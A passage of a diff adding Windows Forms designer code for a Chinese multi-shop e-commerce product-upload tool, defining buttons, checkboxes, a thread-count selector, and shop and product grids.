System.Drawing.Color.White; + this.panelEx2.TabIndex = 457; + this.panelEx2.Text = "设置"; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Font = new System.Drawing.Font("微软雅黑", 9F); + this.panelEx1.Location = new System.Drawing.Point(283, 24); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(35, 20); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.panelEx1.TabIndex = 453; + this.panelEx1.Text = "设置"; + // + // checkBox2 + // + this.checkBox2.AutoSize = true; + this.checkBox2.FlatAppearance.BorderSize = 0; + this.checkBox2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.checkBox2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.checkBox2.Location = new System.Drawing.Point(5, 3); + this.checkBox2.Margin = new System.Windows.Forms.Padding(2); + this.checkBox2.Name = "checkBox2"; + this.checkBox2.Size = new System.Drawing.Size(156, 21); + this.checkBox2.TabIndex = 449; + this.checkBox2.Text = "上传商品时使用图书配置"; + this.checkBox2.UseVisualStyleBackColor = true; + // + // chkCustomCategory + // + this.chkCustomCategory.AutoSize = true; + this.chkCustomCategory.FlatAppearance.BorderSize = 0; + this.chkCustomCategory.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkCustomCategory.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkCustomCategory.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkCustomCategory.Location = new System.Drawing.Point(182, 24); + this.chkCustomCategory.Margin = new System.Windows.Forms.Padding(2); + this.chkCustomCategory.Name = "chkCustomCategory"; + this.chkCustomCategory.Size = new System.Drawing.Size(96, 21); + this.chkCustomCategory.TabIndex = 446; + this.chkCustomCategory.Text = "只传指定类目"; + this.chkCustomCategory.UseVisualStyleBackColor = true; + // + // shopthreadCountTextBox + // + this.shopthreadCountTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.shopthreadCountTextBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.shopthreadCountTextBox.FormattingEnabled = true; + this.shopthreadCountTextBox.Items.AddRange(new object[] { + "1", + "2", + "3", + "4", + "5", + "10", + "15", + "20", + "30", + "50"}); + this.shopthreadCountTextBox.Location = new System.Drawing.Point(963, 31); + this.shopthreadCountTextBox.Margin = new System.Windows.Forms.Padding(2); + this.shopthreadCountTextBox.Name = "shopthreadCountTextBox"; + this.shopthreadCountTextBox.Size = new System.Drawing.Size(36, 25); + this.shopthreadCountTextBox.TabIndex = 397; + this.shopthreadCountTextBox.Text = "20"; + this.shopthreadCountTextBox.SelectedIndexChanged += new System.EventHandler(this.shopthreadCountTextBox_SelectedIndexChanged); + // + // btnUpload + // + this.btnUpload.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnUpload.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnUpload.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnUpload.FlatAppearance.BorderSize = 0; + this.btnUpload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnUpload.ForeColor = System.Drawing.Color.White; + this.btnUpload.Location = new System.Drawing.Point(930, 87); + this.btnUpload.Margin = new System.Windows.Forms.Padding(2); + this.btnUpload.Name = "btnUpload"; + this.btnUpload.Size = new System.Drawing.Size(72, 25); + this.btnUpload.TabIndex = 390; + this.btnUpload.Text = "导入数据"; + this.btnUpload.UseVisualStyleBackColor = false; + this.btnUpload.Click += new System.EventHandler(this.button3_Click); + // + // buttonEx1 + // + this.buttonEx1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx1.FlatAppearance.BorderSize = 0; + this.buttonEx1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx1.ForeColor = System.Drawing.Color.White; + this.buttonEx1.Location = new System.Drawing.Point(930, 117); + this.buttonEx1.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx1.Name = "buttonEx1"; + this.buttonEx1.Size = new System.Drawing.Size(72, 25); + this.buttonEx1.TabIndex = 389; + this.buttonEx1.Text = "清空数据"; + this.buttonEx1.UseVisualStyleBackColor = false; + this.buttonEx1.Click += new System.EventHandler(this.button4_Click); + // + // btnUploadGood + // + this.btnUploadGood.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnUploadGood.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnUploadGood.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnUploadGood.FlatAppearance.BorderSize = 0; + this.btnUploadGood.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnUploadGood.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnUploadGood.ForeColor = System.Drawing.Color.White; + this.btnUploadGood.Location = new System.Drawing.Point(1007, 87); + this.btnUploadGood.Margin = new System.Windows.Forms.Padding(2); + this.btnUploadGood.Name = "btnUploadGood"; + this.btnUploadGood.Size = new System.Drawing.Size(72, 25); + this.btnUploadGood.TabIndex = 387; + this.btnUploadGood.Text = "上货"; + this.btnUploadGood.UseVisualStyleBackColor = false; + this.btnUploadGood.Click += new System.EventHandler(this.btnUpload_Click); + // + // countLabel + // + this.countLabel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.countLabel.AutoSize = true; + this.countLabel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.countLabel.ForeColor = System.Drawing.Color.Black; + this.countLabel.Location = new System.Drawing.Point(1053, 35); + this.countLabel.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.countLabel.Name = "countLabel"; + this.countLabel.Size = new System.Drawing.Size(27, 17); + this.countLabel.TabIndex = 368; + this.countLabel.Text = "0个"; + // + // label29 + // + this.label29.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label29.AutoSize = true; + this.label29.BackColor = System.Drawing.Color.Transparent; + this.label29.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label29.Location = new System.Drawing.Point(905, 35); + this.label29.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label29.Name = "label29"; + this.label29.Size = new System.Drawing.Size(68, 17); + this.label29.TabIndex = 396; + this.label29.Text = "多店发布:"; + // + // lblWaitUpload + // + this.lblWaitUpload.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblWaitUpload.AutoSize = true; + this.lblWaitUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblWaitUpload.Location = new System.Drawing.Point(1010, 35); + this.lblWaitUpload.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.lblWaitUpload.Name = "lblWaitUpload"; + this.lblWaitUpload.Size = new System.Drawing.Size(56, 17); + this.lblWaitUpload.TabIndex = 367; + this.lblWaitUpload.Text = "剩余数:"; + this.lblWaitUpload.Click += new System.EventHandler(this.lblWaitUpload_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1110, 463); + this.splitContainer3.SplitterDistance = 433; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.cboHour); + this.splitContainer2.Panel1.Controls.Add(this.btnTest); + this.splitContainer2.Panel1.Controls.Add(this.buttonEx4); + this.splitContainer2.Panel1.Controls.Add(this.chklogistime); + this.splitContainer2.Panel1.Controls.Add(this.label48); + this.splitContainer2.Panel1.Controls.Add(this.label10); + this.splitContainer2.Panel1.Controls.Add(this.littleSkuCheckBox); + this.splitContainer2.Panel1.Controls.Add(this.txtRatio); + this.splitContainer2.Panel1.Controls.Add(this.chkSaveToOffLine); + this.splitContainer2.Panel1.Controls.Add(this.chkIsSetCommission); + this.splitContainer2.Panel1.Controls.Add(this.btnGetUpId); + this.splitContainer2.Panel1.Controls.Add(this.txtUpProduct); + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.pnlShowError); + this.splitContainer2.Panel2.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1110, 433); + this.splitContainer2.SplitterDistance = 347; + this.splitContainer2.TabIndex = 0; + // + // cboHour + // + this.cboHour.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cboHour.FormattingEnabled = true; + this.cboHour.Items.AddRange(new object[] { + "24", + "48", + "72"}); + this.cboHour.Location = new System.Drawing.Point(117, 41); + this.cboHour.Margin = new System.Windows.Forms.Padding(2); + this.cboHour.Name = "cboHour"; + this.cboHour.Size = new System.Drawing.Size(41, 25); + this.cboHour.TabIndex = 406; + this.cboHour.Text = "24"; + this.cboHour.Visible = false; + this.cboHour.SelectedIndexChanged += new System.EventHandler(this.cboHour_SelectedIndexChanged); + // + // btnTest + // + this.btnTest.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnTest.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnTest.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnTest.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnTest.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnTest.ForeColor = System.Drawing.Color.White; + this.btnTest.Location = new System.Drawing.Point(12, 400); + this.btnTest.Margin = new System.Windows.Forms.Padding(2); + this.btnTest.Name = "btnTest"; + this.btnTest.Size = new System.Drawing.Size(72, 25); + this.btnTest.TabIndex = 391; + this.btnTest.Text = "测试按钮"; + this.btnTest.UseVisualStyleBackColor = false; + this.btnTest.Visible = false; + this.btnTest.Click += new System.EventHandler(this.button6_Click); + // + // buttonEx4 + // + this.buttonEx4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx4.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx4.FlatAppearance.BorderSize = 0; + this.buttonEx4.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx4.ForeColor = System.Drawing.Color.White; + this.buttonEx4.Location = new System.Drawing.Point(23, 176); + this.buttonEx4.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx4.Name = "buttonEx4"; + this.buttonEx4.Size = new System.Drawing.Size(72, 25); + this.buttonEx4.TabIndex = 403; + this.buttonEx4.Text = "登录淘宝"; + this.buttonEx4.UseVisualStyleBackColor = false; + this.buttonEx4.Visible = false; + this.buttonEx4.Click += new System.EventHandler(this.buttonEx4_Click); + // + // chklogistime + // + this.chklogistime.AutoSize = true; + this.chklogistime.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chklogistime.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chklogistime.Location = new System.Drawing.Point(24, 44); + this.chklogistime.Name = "chklogistime"; + this.chklogistime.Size = new System.Drawing.Size(96, 21); + this.chklogistime.TabIndex = 405; + this.chklogistime.Text = "不上传发货超"; + this.chklogistime.UseVisualStyleBackColor = true; + this.chklogistime.Visible = false; + this.chklogistime.CheckedChanged += new System.EventHandler(this.chklogistime_CheckedChanged); + // + // label48 + // + this.label48.AutoSize = true; + this.label48.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label48.Location = new System.Drawing.Point(159, 46); + this.label48.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label48.Name = "label48"; + this.label48.Size = new System.Drawing.Size(32, 17); + this.label48.TabIndex = 407; + this.label48.Text = "小时"; + this.label48.Visible = false; + // + // label10 + // + this.label10.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label10.AutoSize = true; + this.label10.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label10.ForeColor = System.Drawing.Color.Black; + this.label10.Location = new System.Drawing.Point(158, 123); + this.label10.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(19, 17); + this.label10.TabIndex = 427; + this.label10.Text = "%"; + this.label10.Visible = false; + // + // littleSkuCheckBox + // + this.littleSkuCheckBox.AutoSize = true; + this.littleSkuCheckBox.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.littleSkuCheckBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.littleSkuCheckBox.Location = new System.Drawing.Point(24, 70); + this.littleSkuCheckBox.Margin = new System.Windows.Forms.Padding(2); + this.littleSkuCheckBox.Name = "littleSkuCheckBox"; + this.littleSkuCheckBox.Size = new System.Drawing.Size(123, 21); + this.littleSkuCheckBox.TabIndex = 379; + this.littleSkuCheckBox.Text = "低于3个sku不上传"; + this.littleSkuCheckBox.UseVisualStyleBackColor = true; + this.littleSkuCheckBox.Visible = false; + this.littleSkuCheckBox.CheckedChanged += new System.EventHandler(this.littleSkuCheckBox_CheckedChanged); + // + // txtRatio + // + this.txtRatio.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtRatio.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtRatio.Location = new System.Drawing.Point(130, 120); + this.txtRatio.Margin = new System.Windows.Forms.Padding(2); + this.txtRatio.Name = "txtRatio"; + this.txtRatio.Size = new System.Drawing.Size(28, 23); + this.txtRatio.TabIndex = 426; + this.txtRatio.Text = "10"; + this.txtRatio.Visible = false; + this.txtRatio.TextChanged += new System.EventHandler(this.txtRatio_TextChanged); + // + // chkSaveToOffLine + // + this.chkSaveToOffLine.AutoSize = true; + this.chkSaveToOffLine.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkSaveToOffLine.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkSaveToOffLine.Location = new System.Drawing.Point(24, 95); + this.chkSaveToOffLine.Margin = new System.Windows.Forms.Padding(2); + this.chkSaveToOffLine.Name = "chkSaveToOffLine"; + this.chkSaveToOffLine.Size = new System.Drawing.Size(84, 21); + this.chkSaveToOffLine.TabIndex = 439; + this.chkSaveToOffLine.Text = "保存到仓库"; + this.chkSaveToOffLine.UseVisualStyleBackColor = true; + this.chkSaveToOffLine.Visible = false; + this.chkSaveToOffLine.CheckedChanged += new System.EventHandler(this.chkSaveToOffLine_CheckedChanged); + // + // chkIsSetCommission + // + this.chkIsSetCommission.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkIsSetCommission.AutoSize = true; + this.chkIsSetCommission.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkIsSetCommission.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkIsSetCommission.Location = new System.Drawing.Point(24, 121); + this.chkIsSetCommission.Name = "chkIsSetCommission"; + this.chkIsSetCommission.Size = new System.Drawing.Size(108, 21); + this.chkIsSetCommission.TabIndex = 425; + this.chkIsSetCommission.Text = "上货后设置佣金"; + this.chkIsSetCommission.UseVisualStyleBackColor = true; + this.chkIsSetCommission.Visible = false; + this.chkIsSetCommission.CheckedChanged += new System.EventHandler(this.chkIsSetCommission_CheckedChanged); + // + // btnGetUpId + // + this.btnGetUpId.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetUpId.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetUpId.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetUpId.FlatAppearance.BorderSize = 0; + this.btnGetUpId.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetUpId.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetUpId.ForeColor = System.Drawing.Color.White; + this.btnGetUpId.Location = new System.Drawing.Point(23, 147); + this.btnGetUpId.Margin = new System.Windows.Forms.Padding(2); + this.btnGetUpId.Name = "btnGetUpId"; + this.btnGetUpId.Size = new System.Drawing.Size(72, 25); + this.btnGetUpId.TabIndex = 395; + this.btnGetUpId.Text = "获取上家"; + this.btnGetUpId.UseVisualStyleBackColor = false; + this.btnGetUpId.Visible = false; + this.btnGetUpId.Click += new System.EventHandler(this.btnGetUpId_Click); + // + // txtUpProduct + // + this.txtUpProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtUpProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtUpProduct.Location = new System.Drawing.Point(99, 148); + this.txtUpProduct.Margin = new System.Windows.Forms.Padding(2); + this.txtUpProduct.Name = "txtUpProduct"; + this.txtUpProduct.Size = new System.Drawing.Size(94, 23); + this.txtUpProduct.TabIndex = 394; + this.txtUpProduct.Visible = false; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colUploadCount, + this.colStatus}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(343, 433); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 36; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Width = 60; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 80; + // + // colUploadCount + // + this.colUploadCount.HeaderText = "上传"; + this.colUploadCount.Name = "colUploadCount"; + this.colUploadCount.ReadOnly = true; + this.colUploadCount.Width = 50; + // + // colStatus + // + this.colStatus.HeaderText = "消息"; + this.colStatus.Name = "colStatus"; + this.colStatus.ReadOnly = true; + this.colStatus.Width = 120; + // + // pnlShowError + // + this.pnlShowError.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlShowError.CanvasColor = System.Drawing.Color.Empty; + this.pnlShowError.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowError.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowError.Location = new System.Drawing.Point(179, 176); + this.pnlShowError.Name = "pnlShowError"; + this.pnlShowError.Size = new System.Drawing.Size(400, 100); + this.pnlShowError.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowError.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowError.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlShowError.Style.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlShowError.Style.ForeColor.Color = System.Drawing.Color.Red; + this.pnlShowError.Style.GradientAngle = 90; + this.pnlShowError.TabIndex = 179; + this.pnlShowError.Text = "panelEx3"; + this.pnlShowError.Visible = false; + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle4; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.idColumn, + this.productIdColumn, + this.shopNameColumn, + this.titleColumn, + this.prcieColumn, + this.fromColumn, + this.colFromFake, + this.messageColumn}); + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(0, 0); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle6.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle6; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(755, 433); + this.dgvProduct.TabIndex = 7; + this.dgvProduct.CellContentClick += new 